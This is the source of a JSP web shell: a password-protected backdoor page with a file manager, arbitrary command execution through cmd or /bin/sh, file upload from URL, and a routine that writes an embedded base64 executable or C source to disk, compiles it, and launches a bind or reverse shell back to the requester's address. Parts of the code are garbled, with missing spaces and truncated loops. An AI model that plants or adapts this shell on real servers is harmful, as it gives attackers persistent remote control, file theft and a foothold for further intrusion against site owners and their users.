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";
String script_name=request.getRequestURI();
String shell_style= "
"*{" +
" font-family:Tahoma,Verdana,Arial;" +
" font-size:12px;" +
" line-height:20px;" +
"}" +
"form{" +
" margin:0 auto;" +
" text-align:center;" +
"}" +
"body{" +
" background:url(‘" + script_name + "?img=bg‘) #333333;" +
" color:#ffffff;" +
" margin:0;" +
" padding:0;" +
"}" +
"input,textarea{" +
" background:url(‘" + script_name + "?img=bg‘) #111111;" +
" height:24px;" +
" color:#ffffff;" +
" padding:1.5px 4px 0 4px;" +
" margin:2px 0;" +
" border:1px solid " + shell_color + ";" +
" border-bottom:4px solid " + shell_color + ";" +
" vertical-align:middle;" +
"}" +
"input:hover,textarea:hover{" +
" background:#0a0a0a;" +
"}" +
"a{" +
" color:#ffffff;" +
" text-decoration:none;" +
"}" +
"a:hover{" +
" border-bottom:1px solid #ffffff;" +
"}" +
"h1{" +
" font-size:17px;" +
" height:20px;" +
" padding:2px 8px;" +
" background:" + shell_color + ";" +
" border:0;" +
" border-left:4px solid " + shell_color + ";" +
" border-right:4px solid " + shell_color + ";" +
" border-bottom:1px solid #222222;" +
" margin:0 auto;" +
" width:90%;" +
"}" +
"h1 img{" +
" vertical-align:bottom;" +
"}" +
".box{" +
" margin:0 auto;" +
" background:#000000;" +
" border:4px solid " + shell_color + ";" +
" padding:4px 8px;" +
" width:90%;" +
" text-align:justify;" +
"}" +
".gaul{" +
" color:" + shell_color + ";" +
"}" +
".result, .boxcode{" +
" margin:0 auto;" +
" border:1px solid " + shell_color + ";" +
" font-family:Lucida Console,Tahoma,Verdana;" +
" padding:8px;" +
" text-align:justify;" +
" overflow:hidden;" +
" color:#ffffff;" +
"}" +
"#explorer, table{" +
" width:100%;" +
"}" +
"table th{" +
" border-bottom:1px solid " + shell_color + ";" +
" background:#111111;" +
" padding:4px;" +
"}" +
"table td{" +
" padding:4px;" +
" border-bottom:1px solid #111111;" +
" vertical-align:top;" +
"}" +
".tblExplorer tr:hover, .hexview td:hover{" +
" background:" + shell_color + ";" +
"}" +
".hidden{" +
" display:none;" +
"}" +
".tblbox td {" +
" margin:0;" +
" padding:0;" +
" border-bottom:1px solid #222222;" +
"}" +
".tblbox tr:hover{" +
" background:none;" +
"}" +
"#mainwrapper{" +
" width:100%;" +
" margin:20px auto;" +
" text-align:center;" +
"}" +
"#wrapper{" +
" width:90%;" +
" margin:auto;" +
"}" +
".cmdbox{" +
" border-top:1px solid " + shell_color + ";" +
" border-bottom:1px solid " + shell_color + ";" +
" margin:4px 0;" +
" width:100%;" +
"}" +
".fpath{" +
" border-top:1px solid " + shell_color + ";" +
" border-bottom:1px solid " + shell_color + ";" +
" margin:4px 0;" +
" padding:4px 0;" +
"}" +
".fprop{" +
" border-top:1px solid " + shell_color + ";" +
" border-bottom:1px solid " + shell_color + ";" +
" margin:4px 0;" +
" padding:4px 0;" +
"}" +
".bottomwrapper{" +
" text-align:center;" +
"}" +
".btn{" +
" height:24px;" +
" background:url(‘" + script_name + "?img=bg‘) #111111;" +
" font-size:10px;" +
" text-align:right;" +
"}" +
".hexview , .hexview td{" +
" font-family: Lucida Console,Tahoma;" +
"}" +
"";%>
//################# FUNCTION GOES HERE #######################==============================================]
publicString getSlash(){if(is_win()){return "\\";
}return "/";
}public booleanis_win(){if(System.getProperty("os.name").toLowerCase().substring(0,3).equals("win")){return true;
}return false;
}publicString xcleanpath(String path){if(is_dir(path)){
String xSlash=getSlash();if(path!=null && path.length() > 1){while(path.substring(path.length()-1).equals(xSlash)){
path= path.substring(0,path.length()-1);
}return path +xSlash;
}
}returnpath;
}publicString urlencode(String str){try{ if(str!=null) return URLEncoder.encode(str); } catch(Exception e){ }returnstr;
}publicString urldecode(String str){try{ if(str!=null) return URLDecoder.decode(str); } catch(Exception e){ }returnstr;
}publicString xparsedir(String dir){
String xSlash= "";
String xSlash_= "";if(is_win()){
xSlash= "\\";
xSlash_= "\\\\";
}else{
xSlash= "/";
xSlash_= "/";
}
String[] dirs=dir.split(xSlash_);
StringBuffer buff= new StringBuffer("");
StringBuffer dlink= new StringBuffer("");if(!is_win()){
dlink.append(urlencode(xSlash));
buff.append("" + xSlash + " ");
}for(int i=0;i
String d=dirs[i].trim();if(!d.equals("")){
dlink.append(urlencode(d+xSlash));
buff.append("" + d + " " + xSlash + " ");
}
}return "[ " + buff + " ]";
}public booleanis_file(String fpath){try{
File myfile= newFile(fpath);if(myfile.exists() && myfile.isFile()){ return true; }
}catch(Exception e){ }return false;
}public booleanis_dir(String fpath){try{
File myfile= newFile(fpath);if(myfile.exists() && myfile.isDirectory()){ return true; }
}catch(Exception e){ }return false;
}publicString xparentfolder(String fpath){if(is_dir(fpath)){
File myfile= newFile(fpath);if(myfile.getParent()!=null) returnmyfile.getParent();else returnfpath;
}returnfpath;
}publicString xfileopen(String fpath){try{
StringBuffer content= new StringBuffer("");if(is_file(fpath)){
FileInputStream fileinputstream= newFileInputStream(fpath);int numberBytes =fileinputstream.available();byte bytearray[] = new byte[numberBytes];
fileinputstream.read(bytearray);for(int i = 0; i < numberBytes; i++){
content.append((char) (bytearray[i]));
}
fileinputstream.close();
}returncontent.toString();
}catch(Exception e) {
}return "";
}public boolean xfilesave(String fullPath, byte[] bytes){try{
OutputStream bufferedOutputStream= new BufferedOutputStream(newFileOutputStream(fullPath));
InputStream inputStream= newByteArrayInputStream(bytes);int token = -1;while((token = inputStream.read()) != -1){
bufferedOutputStream.write(token);
}
bufferedOutputStream.flush();
bufferedOutputStream.close();
inputStream.close();
}catch(Exception e){ return false; }if(is_file(fullPath)){return true;
}return false;
}public booleanxfilesave(String fullPath, String text){
Writer writer= null;try{
File myFile= newFile(fullPath);
writer= new BufferedWriter(newFileWriter(myFile));
writer.write(text);
writer.close();
}catch (Exception e) { return false; }if(is_file(fullPath)){return true;
}return false;
}public voidxrmdir(String fdir){
File mypath= newFile(fdir);
File[] allitem=mypath.listFiles();for(int i=0;i
xrmdir(allitem[i].getAbsolutePath());
}else{
allitem[i].delete();
}
}
mypath.delete();
}public longxfilesize(String fpath){if(is_file(fpath)){
File myfile= newFile(fpath);returnmyfile.length();
}return 0;
}public String xparsefilesize(longsize_){
NumberFormat pola= new DecimalFormat("#.00");
Double pecahan= null;
Double size= (double) size_;if(size <= 1024) {return size.toString().replace(".0","");
}else{if(size <= 1024*1024) {
pecahan= ((double) size) / 1024;return pola.format(pecahan).replace(",",".") + " kb";
}else{
pecahan= ((double) size) / 1024 / 1024;return pola.format(pecahan).replace(",",".") + " mb";
}
}
}publicString xfileperms(String fpath){
String isreadable= "-";
String iswriteable= "-";
File myd= newFile(fpath);if(myd.canRead()) isreadable = "r";if(myd.canWrite()) iswriteable = "w";return isreadable + " / " +iswriteable;
}publicString xdrive(){
File roots[]=File.listRoots();
String letter= "";if(is_win()){
StringBuffer letters= new StringBuffer("");for(int i=0;i
letter=roots[i].toString();
letters.append("[ ");
letters.append(letter.substring(0,1));
letters.append(" ] ");
}
letters.append("
");returnletters.toString();
}return "";
}publicString xfilelastmodified(String fpath){if(is_file(fpath) ||is_dir(fpath)){
File myfile= newFile(fpath);return new SimpleDateFormat("dd-MMM-yyyy HH:mm").format(newjava.util.Date(myfile.lastModified()));
}return "???";
}publicString xfilesummary(String fpath){if(is_file(fpath)){return "Filesize : " + xparsefilesize(xfilesize(fpath)) + " ( " + xfilesize(fpath) + " ) :: Permission : " + xfileperms(fpath) + " :: modified : " +xfilelastmodified(fpath);
}return "";
}public booleanxrunexploit(String fpath,String base64,String port,String ip){
String finals= "";byte[] embrio =b64decode(base64);
String tmpdir= xcleanpath(System.getProperty("java.io.tmpdir"));
String fname= "";
String xpath= "";boolean ok = false;if(is_win()){
fname= "bd.exe";
xpath= xcleanpath(fpath) +fname;if(is_file(xpath)){
File xfile= newFile(xpath);
xfile.delete();
}if(!xfilesave(xpath,embrio)){
xpath= tmpdir +fname;if(xfilesave(xpath,embrio)) ok = true;
}else ok = true;if(ok){
finals= xpath + " " + port + " " +ip;try{
Process p=Runtime.getRuntime().exec(finals);
}catch(Exception e) { return false; }return true;
}
}else{if(!ip.equals("")) fname = "back";else fname = "bind";
String ypath= xcleanpath(fpath) +fname;if(is_file(ypath + ".c")){
File yfile= new File(xpath + ".c");
yfile.delete();
}if(!xfilesave(ypath + ".c",embrio)){
xpath= tmpdir +fname;if(xfilesave(xpath,embrio)) ok = true;
}else ok = true;if(ok){
ekse("gcc " + ypath + ".c -o " +ypath,fpath );
ekse("chmod +x " +ypath,fpath);if(is_file(ypath)){
finals= ypath + " " + port + " " +ip;try{
Process p=Runtime.getRuntime().exec(finals);
}catch(Exception e){ return false; }return true;
}else return false;
}
}return false;
}
String ekse(String cmd, String cwd){
String[] comm= new String[3];if(!is_win()){
comm[0] = "/bin/sh";comm[1] = "-c";comm[2] =cmd;
}else{
comm[0] = "cmd";comm[1] = "/C";comm[2] =cmd;
}
StringBuffer ret= newStringBuffer();long start =System.currentTimeMillis();try{
Process ls_proc= Runtime.getRuntime().exec(comm, null, newFile(cwd));//Get input and error streams
BufferedInputStream ls_in = newBufferedInputStream(ls_proc.getInputStream());
BufferedInputStream ls_err= newBufferedInputStream(ls_proc.getErrorStream());boolean end = false;while (!end) {int c = 0;while ((ls_err.available() > 0) && (++c <= 1000)) {
ret.append((char) ls_err.read());
}
c= 0;while ((ls_in.available() > 0) && (++c <= 1000)) {
ret.append((char) ls_in.read());
}try{
ls_proc.exitValue();//if the process has not finished, an exception is thrown//else
while (ls_err.available() > 0)
ret.append((char) ls_err.read());while (ls_in.available() > 0)
ret.append((char) ls_in.read());
end= true;
}catch(IllegalThreadStateException ex) {//Process is running
}try{
Thread.sleep(50);
}catch(InterruptedException ie) {}
}
}catch(IOException e) {
ret.append("Error: " +e);
}returnret.toString();
}publicString xdir(String fdir){
String path=xcleanpath(urldecode(fdir));
StringBuffer buff= new StringBuffer("");if(is_dir(path)){
File mypath= newFile(fdir);
ArrayList fname= newArrayList();
ArrayList dname= newArrayList();
String[] allitem=mypath.list();for(int i=0;i
String checkthis=allitem[i].toString();if(is_dir(path +checkthis)){
dname.add(checkthis);
}else{
fname.add(checkthis);
}
}
Collections.sort(fname,newmyComparator());
Collections.sort(dname,newmyComparator());
buff.append("
"
Filename" +"
Filesize" +"
Permission" +"
Last Modified" +"
Action");if (path.length() > 3){String sd= ".";
String d=xcleanpath(path);
String nextdir=xcleanpath(xparentfolder(d));
buff.append("
");buff.append("
[ "+ sd + " ]");buff.append("
DIR");buff.append("
" + xfileperms(d) + "");buff.append("
" + xfilelastmodified(d) + "");buff.append("
Properties | Remove");buff.append("
");sd= "..";
d=xcleanpath(xparentfolder(path));
nextdir=xcleanpath(xparentfolder(d));
buff.append("
");buff.append("
[ "+ sd + " ]");buff.append("
DIR");buff.append("
" + xfileperms(d) + "");buff.append("
" + xfilelastmodified(d) + "");buff.append("
Properties | Remove");buff.append("
");}for(int i=0;i
String sd= dname.get(i).toString().trim().replace("\\","\\\\");
String d= path +sd.trim();
String nextdir=xcleanpath(d);
buff.append("
");buff.append("
[ "+ sd + " ]");buff.append("
DIR");buff.append("
" + xfileperms(nextdir) + "");buff.append("
" + xfilelastmodified(nextdir) + "");buff.append("
Properties | Remove");buff.append("
");}for(int i=0;i
String sf=fname.get(i).toString().trim();
String f= path +sf;
String view= "?dir=" + urlencode(path) + "&view=" +urlencode(f);
buff.append("
");buff.append("");
buff.append(sf+ "
");buff.append("
" + xparsefilesize(xfilesize(f)) + "");buff.append("
" + xfileperms(f) + "");buff.append("
" + xfilelastmodified(f) + "");buff.append("
Edit | Download | Remove");buff.append("
");}
buff.append("
}returnbuff.toString();
}public booleanis_numeric(String str){return str.matches("\\d+");
}public voidchdir(String directory) {
System.setProperty("user.dir",directory);
}public byte[] b64decode(String str){
BASE64Decoder myDec= newBASE64Decoder();byte[] decoded = null;try{ decoded =myDec.decodeBuffer(str); }catch(Exception e){ }returndecoded;
}publicString htmlspecialchars(String scode){
StringBuffer sb= newStringBuffer();for(int i=0; i‘ :sb.append(">");break;case ‘&‘ :sb.append("&");break;case ‘"‘ :sb.append(""");break;case ‘\‘‘ :sb.append("'");break;case ‘ ‘ :sb.append(" ");break;default:sb.append(c);
}
}returnsb.toString();
}public booleanis_image(String fpath){
FileNameMap fileNameMap=URLConnection.getFileNameMap();
String contentType=fileNameMap.getContentTypeFor(fpath);if(contentType!=null && contentType.toLowerCase().startsWith("image")){ return true; }return false;
}class myComparator implementsComparator {public intcompare(Object o1, Object o2) {
String s1=(String) o1;
String s2=(String) o2;returns1.toLowerCase().compareTo(s2.toLowerCase());
}
}public classFileInfo {public String name = null, clientFileName = null, fileContentType = null;private byte[] fileContents = null;public File file = null;public StringBuffer sb = new StringBuffer(100);public void setFileContents(byte[] aByteArray) {
fileContents= new byte[aByteArray.length];
System.arraycopy(aByteArray,0, fileContents, 0, aByteArray.length);
}
}public classHttpMultiPartParser {//private final String lineSeparator = System.getProperty("line.separator", "\n");
private final int ONE_MB = 1024 * 1;publicHashtable processData(ServletInputStream is, String boundary, String saveInDir,int clength) throwsIllegalArgumentException, IOException {if (is == null) throw new IllegalArgumentException("InputStream");if (boundary == null || boundary.trim().length() < 1) throw newIllegalArgumentException("\"" + boundary + "\" is an illegal boundary indicator");
boundary= "--" +boundary;
StringTokenizer stLine= null, stFields = null;
FileInfo fileInfo= null;
Hashtable dataTable= new Hashtable(5);
String line= null, field = null, paramName = null;boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);boolean isFile = false;if (saveFiles) { //Create the required directory (including parent dirs)
File f = newFile(saveInDir);
f.mkdirs();
}
line=getLine(is);if (line == null || !line.startsWith(boundary)) throw newIOException("Boundary not found; boundary = " + boundary + ", line = " +line);while (line != null) {if (line == null || !line.startsWith(boundary)) returndataTable;
line=getLine(is);if (line == null) returndataTable;
stLine= new StringTokenizer(line, ";\r\n");if (stLine.countTokens() < 2) throw newIllegalArgumentException("Bad data in second line");
line=stLine.nextToken().toLowerCase();if (line.indexOf("form-data") < 0) throw newIllegalArgumentException("Bad data in second line");
stFields= new StringTokenizer(stLine.nextToken(), "=\"");if (stFields.countTokens() < 2) throw newIllegalArgumentException("Bad data in second line");
fileInfo= newFileInfo();
stFields.nextToken();
paramName=stFields.nextToken();
isFile= false;if(stLine.hasMoreTokens()) {
field=stLine.nextToken();
stFields= new StringTokenizer(field, "=\"");if (stFields.countTokens() > 1) {if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
fileInfo.name=paramName;
String value=stFields.nextToken();if (value != null && value.trim().length() > 0) {
fileInfo.clientFileName=value;
isFile= true;
}else{
line= getLine(is); //Skip "Content-Type:" line
line = getLine(is); //Skip blank line
line = getLine(is); //Skip blank line
line = getLine(is); //Position to boundary line
continue;
}
}
}else if (field.toLowerCase().indexOf("filename") >= 0) {
line= getLine(is); //Skip "Content-Type:" line
line = getLine(is); //Skip blank line
line = getLine(is); //Skip blank line
line = getLine(is); //Position to boundary line
continue;
}
}boolean skipBlankLine = true;if(isFile) {
line=getLine(is);if (line == null) returndataTable;if (line.trim().length() < 1) skipBlankLine = false;else{
stLine= new StringTokenizer(line, ": ");if (stLine.countTokens() < 2) throw newIllegalArgumentException("Bad data in third line");
stLine.nextToken();//Content-Type
fileInfo.fileContentType =stLine.nextToken();
}
}if(skipBlankLine) {
line=getLine(is);if (line == null) returndataTable;
}if (!isFile) {
line=getLine(is);if (line == null) returndataTable;
dataTable.put(paramName, line);//If parameter is dir, change saveInDir to dir
if (paramName.equals("dir")) saveInDir =line;
line=getLine(is);continue;
}try{
OutputStream os= null;
String path= null;if (saveFiles) os = new FileOutputStream(path =getFileName(saveInDir,
fileInfo.clientFileName));else os = newByteArrayOutputStream(ONE_MB);boolean readingContent = true;byte previousLine[] = new byte[2 *ONE_MB];byte temp[] = null;byte currentLine[] = new byte[2 *ONE_MB];intread, read3;if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
line= null;break;
}while(readingContent) {if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
line= null;break;
}if(compareBoundary(boundary, currentLine)) {
os.write(previousLine,0, read - 2);
line= new String(currentLine, 0, read3);break;
}else{
os.write(previousLine,0, read);
temp=currentLine;
currentLine=previousLine;
previousLine=temp;
read=read3;
}//end else
}//end while
os.flush();
os.close();if (!saveFiles) {
ByteArrayOutputStream baos=(ByteArrayOutputStream) os;
fileInfo.setFileContents(baos.toByteArray());
}else fileInfo.file = newFile(path);
dataTable.put(paramName, fileInfo);
}//end try
catch(IOException e) {throwe;
}
}returndataTable;
}/*** Compares boundary string to byte array*/
private boolean compareBoundary(String boundary, byteba[]) {if (boundary == null || ba == null) return false;for (int i = 0; i < boundary.length(); i++)if ((byte) boundary.charAt(i) != ba[i]) return false;return true;
}/**Convenience method to read HTTP header lines*/
private synchronized String getLine(ServletInputStream sis) throwsIOException {byte b[] = new byte[1024];int read = sis.readLine(b, 0, b.length), index;
String line= null;if (read != -1) {
line= new String(b, 0, read);if ((index = line.indexOf(‘\n‘)) >= 0) line = line.substring(0, index - 1);
}returnline;
}public String getFileName(String dir, String fileName) throwsIllegalArgumentException {
String path= null;if (dir == null || fileName == null) throw newIllegalArgumentException("dir or fileName is null");int index = fileName.lastIndexOf(‘/‘);
String name= null;if (index >= 0) name = fileName.substring(index + 1);else name =fileName;
index= name.lastIndexOf(‘\\‘);if (index >= 0) fileName = name.substring(index + 1);
path= dir + File.separator +fileName;if (File.separatorChar == ‘/‘) return path.replace(‘\\‘, File.separatorChar);else return path.replace(‘/‘, File.separatorChar);
}
}//End of class HttpMultiPartParser
Hashtable cookieTable(Cookie[] cookies) {
Hashtable cookieTable= newHashtable();if (cookies != null) {for (int i=0; i < cookies.length; i++)
cookieTable.put(cookies[i].getName(), cookies[i].getValue());
}returncookieTable;
}%>
//################# INIT GOES HERE #######################==================================================]//String xCwd_ = getServletConfig().getServletContext().getRealPath(request.getRequestURI());
String xCwd_ =getServletConfig().getServletContext().getRealPath(request.getRequestURI());
String xCwd= xCwd_.substring(0,xCwd_.lastIndexOf(getSlash()));
chdir(xCwd);
String result= "";
String check= "";
Hashtable _COOKIE=cookieTable(request.getCookies());
Cookie myCookie;boolean auth = false;if((request.getParameter("passw")!=null) && (!request.getParameter("passw").equals(""))){
check= request.getParameter("passw").trim();if(check.equals(shell_password)){
myCookie= new Cookie("pass",check);
myCookie.setMaxAge(3600*24*7);
response.addCookie(myCookie);
}else{
myCookie= new Cookie("pass","");
myCookie.setMaxAge(0);
response.addCookie(myCookie);
}
}if(_COOKIE.containsKey("pass")) {
check= (String) _COOKIE.get("pass");
}if(check.equals(shell_password)){
auth= true;
}else auth = false;if((request.getParameter("img")!=null) && (!request.getParameter("img").equals(""))){
String myfile= request.getParameter("img");if(is_file(myfile)){
response.setContentType("image/png");
OutputStream o=response.getOutputStream();
FileInputStream fis= newFileInputStream(myfile);inti;while ((i=fis.read()) != -1){ o.write(i); }
fis.close();
o.flush();
o.close();return;
}else{
String file= "";if(myfile.equals("icon")){
file=icon;
}else if(myfile.equals("bg")){
file=bg;
}byte[] data =b64decode(file);
response.setContentType("image/png");
OutputStream o=response.getOutputStream();
o.write(data);
o.flush();
o.close();return;
}
}if((request.getParameter("get")!=null) && (!request.getParameter("get").equals(""))){
String myfile= request.getParameter("get");
File myfile__= newFile(myfile);
response.setContentType("application/octet-stream");
response.setHeader("Content-Disposition","attachment; filename=\"" + myfile__.getName() + "\"");
OutputStream o=response.getOutputStream();
FileInputStream fis= newFileInputStream(myfile);inti;while ((i=fis.read()) != -1){ o.write(i); }
fis.close();o.flush();o.close();return;
}if((request.getParameter("dir")!=null) && (!request.getParameter("dir").equals(""))){
String newdir= xcleanpath(urldecode(request.getParameter("dir").trim()));if((request.getParameter("oldfilename")!=null) && (!request.getParameter("oldfilename").equals(""))){if((request.getParameter("properties")!=null) && (!request.getParameter("properties").equals(""))){
newdir= xcleanpath(xparentfolder(request.getParameter("oldfilename")));
}
}if(is_dir(newdir)){
chdir(newdir);
xCwd=newdir;
}else if(is_file(newdir)){
newdir= newdir.substring(0,newdir.lastIndexOf(getSlash()));if(is_dir(newdir)){
chdir(newdir);
xCwd=newdir;
}
}if((request.getParameter("foldername")!=null) && (!request.getParameter("foldername").equals(""))){
File myFile= new File(xcleanpath(xCwd + request.getParameter("foldername")));if(!myFile.exists()) myFile.mkdir();
}else if((request.getParameter("del")!=null) && (!request.getParameter("del").equals(""))){
String fdel= request.getParameter("del");if(is_file(fdel)) newFile(fdel).delete();else if(is_dir(fdel)){
xrmdir(fdel);
xCwd=xcleanpath(newdir);
}
}else if((request.getParameter("childname")!=null) && (!request.getParameter("childname").equals(""))){
String childname= request.getParameter("childname").trim();
String ortu=getServletConfig().getServletContext().getRealPath(request.getRequestURI());
String con=xfileopen(ortu);
xfilesave(xCwd+childname,con);
}
}if((request.getParameter("btnConnect")!=null) && (!request.getParameter("btnConnect").equals(""))){if((request.getParameter("bportC")!=null) && (is_numeric(request.getParameter("bportC")))){
String port= request.getParameter("bportC");
String base64= "";if(is_win()) base64 =wBind;else base64 =xBack;if(xrunexploit(xCwd,base64,port,request.getRemoteAddr())){
}
}
}else if((request.getParameter("btnListen")!=null) && (!request.getParameter("btnListen").equals(""))){if((request.getParameter("lportC")!=null) && (is_numeric(request.getParameter("lportC")))){
String port= request.getParameter("lportC");
String base64= "";if(is_win()) base64 =wBind;else base64 =xBind;if(xrunexploit(xCwd,base64,port,"")){
}
}
}if ((request.getContentType() != null) && (request.getContentType().toLowerCase().startsWith("multipart"))) {
HttpMultiPartParser myParser= newHttpMultiPartParser();try{int bstart = request.getContentType().lastIndexOf("oundary=");
String bound= request.getContentType().substring(bstart + 8);int clength =request.getContentLength();
Hashtable ht=myParser.processData(request.getInputStream(), bound, xCwd, clength);if(ht.get("btnNewUploadUrl")!=null && !ht.get("btnNewUploadUrl").equals("")){if(ht.get("fileurl")!=null && !ht.get("fileurl").equals("")){
URL myUrl= new URL(ht.get("fileurl").toString());
URLConnection myCon=myUrl.openConnection();int conLength =myCon.getContentLength();
InputStream raw=myCon.getInputStream();
InputStream in= newBufferedInputStream(raw);byte[] data = new byte[conLength];int bytesRead = 0;int offset = 0;while(offset
bytesRead= in.read(data, offset, data.length -offset);if(bytesRead == -1) break;
offset+=bytesRead;
}
in.close();if(offset ==conLength){
String fname=myUrl.getFile();
fname= fname.substring(fname.lastIndexOf(‘/‘)+1);if(ht.get("filename")!=null && !ht.get("filename").equals("")){
fname= ht.get("filename").toString().trim();
}
FileOutputStream ooo= new FileOutputStream(xCwd +fname);
ooo.write(data);ooo.flush();ooo.close();
}
}
}else if(ht.get("btnNewUploadLocal")!=null && !ht.get("btnNewUploadLocal").equals("")){
FileInfo fi= (FileInfo) ht.get("filelocal");
String clientFileName= xCwd +fi.clientFileName.trim();if(ht.get("filename")!=null && !ht.get("filename").equals("")){
String filename= xCwd + ht.get("filename").toString().trim();
File clientFile= newFile(clientFileName);
clientFile.renameTo(newFile(filename));
}
}
}catch(Exception e){ }
}if((request.getParameter("cmd")!=null) && (!request.getParameter("cmd").equals(""))){
String cmd= urldecode(request.getParameter("cmd"));
String newdir= "";if(cmd.toLowerCase().startsWith("cd ")){
newdir= cmd.substring(3).trim();if(is_win()) newdir = newdir.replace("/","\\");if(newdir.equals("\\") && xCwd.length()>=3){ xCwd = xCwd.substring(0,3); }else if(newdir.equals(".")) { }else if(newdir.equals("..")) {
xCwd=xcleanpath(xparentfolder(xCwd));
}else{if(newdir.indexOf(":") > 0){if(is_dir(newdir)){ xCwd =xcleanpath(newdir); }
}else if(is_dir(newdir)){
xCwd=xcleanpath(newdir);
}else{if(is_dir(xCwd + newdir)) { xCwd = xcleanpath(xCwd +newdir); }
}
}
result=xdir(xCwd);
}else if(cmd.matches("^\\w{1}:.*")){if(is_dir(cmd)){ xCwd =xcleanpath(cmd); }
result=xdir(xCwd);
}else{
String result_=htmlspecialchars(ekse(cmd,xCwd));if(!result_.equals("")) result = result_.replace("\n","
");else{
result=xdir(xCwd);
}
}
chdir(xCwd);
}else if((request.getParameter("properties")!=null) && (!request.getParameter("properties").equals(""))){
String fname= xcleanpath(urldecode(request.getParameter("properties")));
String oldname= "";if((request.getParameter("oldfilename")!=null) && (!request.getParameter("oldfilename").equals(""))){
oldname= request.getParameter("oldfilename");
File oldfile= newFile(oldname);
oldfile.renameTo(newFile(fname));
}
String dir=xCwd;
String fcont= "";
String fview= "";
String fsize= "";
String faction= "";
String type= "";if(is_dir(fname)){
fsize= "DIR";
fcont=xdir(fname);
faction= "Properties | Remove";
}else{
fsize= xparsefilesize(xfilesize(fname)) + " ( " + xfilesize(fname) + " bytes )";if((request.getParameter("type")!=null) && (!request.getParameter("type").equals(""))) type = request.getParameter("type").trim();else{if(is_image(fname)) type = "img";else type = "text";
}if(type.equals("img")){
String imglink= "
";fcont= "
}else{
String code=htmlspecialchars(xfileopen(fname));
fcont= "
") + "
}
faction= "Edit | Download | Remove";
}
String fperm=xfileperms(fname);
String filemtime=xfilelastmodified(fname);
result= "
"
" +"" +
"" + faction + " | " +
"" +
" " +
"" +
"
"Size = " + fsize + "
" +
"Permission = ( " + fperm + " )
" +
"Last Modified = ( " + filemtime + " )
" +fview+ "
}else if(((request.getParameter("view")!=null) && (!request.getParameter("view").equals(""))) || ((request.getParameter("filename")!=null) && (!request.getParameter("filename").equals("")))){
String mymsg= "";
String pesan= "";
String fpath= "";boolean dos = false;if((request.getParameter("save")!=null) && (!request.getParameter("save").equals(""))){if((request.getParameter("dos")!=null) && (request.getParameter("dos").equals("true"))){ dos = true; }
String saveas= request.getParameter("saveas");
